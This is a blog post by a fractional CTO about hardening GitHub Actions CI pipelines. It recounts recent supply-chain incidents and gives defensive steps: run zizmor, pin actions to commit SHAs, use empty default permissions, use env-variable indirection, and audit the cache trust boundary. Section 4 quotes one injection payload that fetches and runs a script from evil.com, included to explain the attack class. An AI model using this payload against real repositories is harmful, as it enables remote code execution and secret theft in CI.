GitHub Actions Is the Weakest Link
The one-hour CI hardening pass I run with clients: scan every workflow, pin actions to SHAs, scope tokens, kill template injection, and audit your cache trust boundary.
Every founding CTO I work with has the same blind spot. The production database gets a threat model. The secrets store gets rotation. The CI pipeline gets actions/checkout@v4 and a shrug. GitHub Actions is the one high-leverage surface where the platform defaults are actively working against you, and attackers have spent the last 18 months proving it in public.
-
Nov 2024 to Mar 2025
spotbugs to reviewdog to tj-actions
A four-month lateral movement that started with a PR checkout and ended with personal access tokens in attacker hands.
-
Dec 2024
Ultralytics
A crypto miner shipped to PyPI through a poisoned Actions cache.
-
Mar 2025
tj-actions/changed-files, CVE-2025-30066
Mutable tag hijack. 23,000 repos compromised, secrets leaked. CISA advisory two days later.
-
Aug 2025
nx / s1ngularity
Template injection in a PR title. More than 5,000 private repos briefly exposed.
-
Feb to Mar 2026
Trivy
Compromised twice in three weeks via pull_request_target plus tag hijacking.
-
Mar to Apr 2026
prt-scan
A coordinated PR campaign hitting hundreds of repos systematically.
-
Apr 2026
elementary-data
Issue-comment injection. A malicious wheel on PyPI in ten minutes.
Seven public incidents. The invisible ones, the supply-chain fan-outs nobody has disclosed yet, are the ones that should keep you up.
If you are a founding CTO at a seed to Series B company, your CI is one of the three highest-leverage attack surfaces you own. The other two are your production secrets store and your CEO's email. Here is the one-hour hardening pass I run with clients. Any technical co-founder can ship it in an afternoon, and the audit itself is a defensible deliverable for your next diligence call.
1. Run zizmor against every workflow
zizmor is a static analyzer for GitHub Actions workflows. It catches the footguns GitHub put there and will not remove. It is maintained largely by one person, which is itself a story about who is actually defending this surface.
pipx install zizmor
zizmor .github/workflows/
Triage the findings by severity. The pull_request_target hits and the template-injection hits are the ones that get repos taken over. Fix those first.
2. Pin every action to an immutable commit SHA
Mutable tags like actions/checkout@v4 and tj-actions/changed-files@v45 resolve to whatever the upstream maintainer points the tag at. CVE-2025-30066 was exactly this: someone got commit access, force-pushed the tag, and 23,000 repos pulled the new code on their next workflow run.
Replace every tag reference with the full SHA, plus a comment for human readability:
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
Dependabot will keep these current. Renovate handles them too. Either way, the SHA is what gets executed. The tag is just a hint.
3. Set permissions to empty, then grant per job
The default GITHUB_TOKEN for repos created before February 2023 has write scope. Even on newer repos, the default is more than most jobs need.
At the top of every workflow:
permissions: {}
Then grant only what each job actually needs, at the job level:
jobs:
build:
permissions:
contents: read
pull-requests: write
If a workflow breaks, the error tells you exactly which scope you missed. That is a feature, not a bug.
4. Ban github.event expansion in run: steps
The template-injection class of attacks works because ${{ }} does textual substitution into the shell command before any escaping. A PR title like "; curl evil.com/x.sh | sh; # becomes executable.
Anywhere you currently have this:
- run: echo "PR title: ${{ github.event.pull_request.title }}"
Replace it with environment variable indirection:
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title: $PR_TITLE"
The shell handles the escaping. The expansion never touches the command line.
5. Review your cache trust boundary
The Ultralytics incident shipped through a poisoned Actions cache. The pattern: a pull_request_target job runs untrusted PR code with cache-write access, and a release workflow later reads from the same cache. The release ships the attacker payload.
Audit which workflows write to caches. Audit which workflows read from them. Make sure no workflow that builds release artifacts shares a cache namespace with anything triggered by external PRs. If you cannot easily tell, that is the answer. Refactor.
What an hour buys you
After the pass
-
Every workflow scanned
zizmor findings triaged, worst first.
-
Every action pinned
Full SHAs. Dependabot keeps them current.
-
Least-privilege tokens
Empty permissions, then grant per job.
-
No injection vectors
github.event values moved to env indirection.
-
Cache boundary documented
No release workflow shares a cache with external PRs.
That is a one-page audit. Drop it in your security folder. When your next investor's diligence checklist asks about CI security posture, you have a real answer instead of "we trust GitHub defaults."
Is your CI exposed right now?
The teams getting hit are not the ones with exotic threat models. They are the ones still running actions/checkout@v4. The cost of getting on the right side of this is one afternoon. The cost of staying on the wrong side is the next s1ngularity post-mortem with your name in it.
Same lens, different part of the stack: Don't Make AI Your Crutch is about the code your agents write. This one is about the pipeline that ships it. Both come down to the same habit, which is not trusting a default just because it is convenient.
If you are running this audit before your next raise, that is exactly the kind of work I do as a fractional CTO. Book a code review and I will go through your workflows before they go to the board.
Gabe Giro
Next read
Don't Make AI Your CrutchRelated service
Book a code reviewStay in the loop
Practical thoughts on engineering leadership, Android, and AI. No spam, unsubscribe anytime.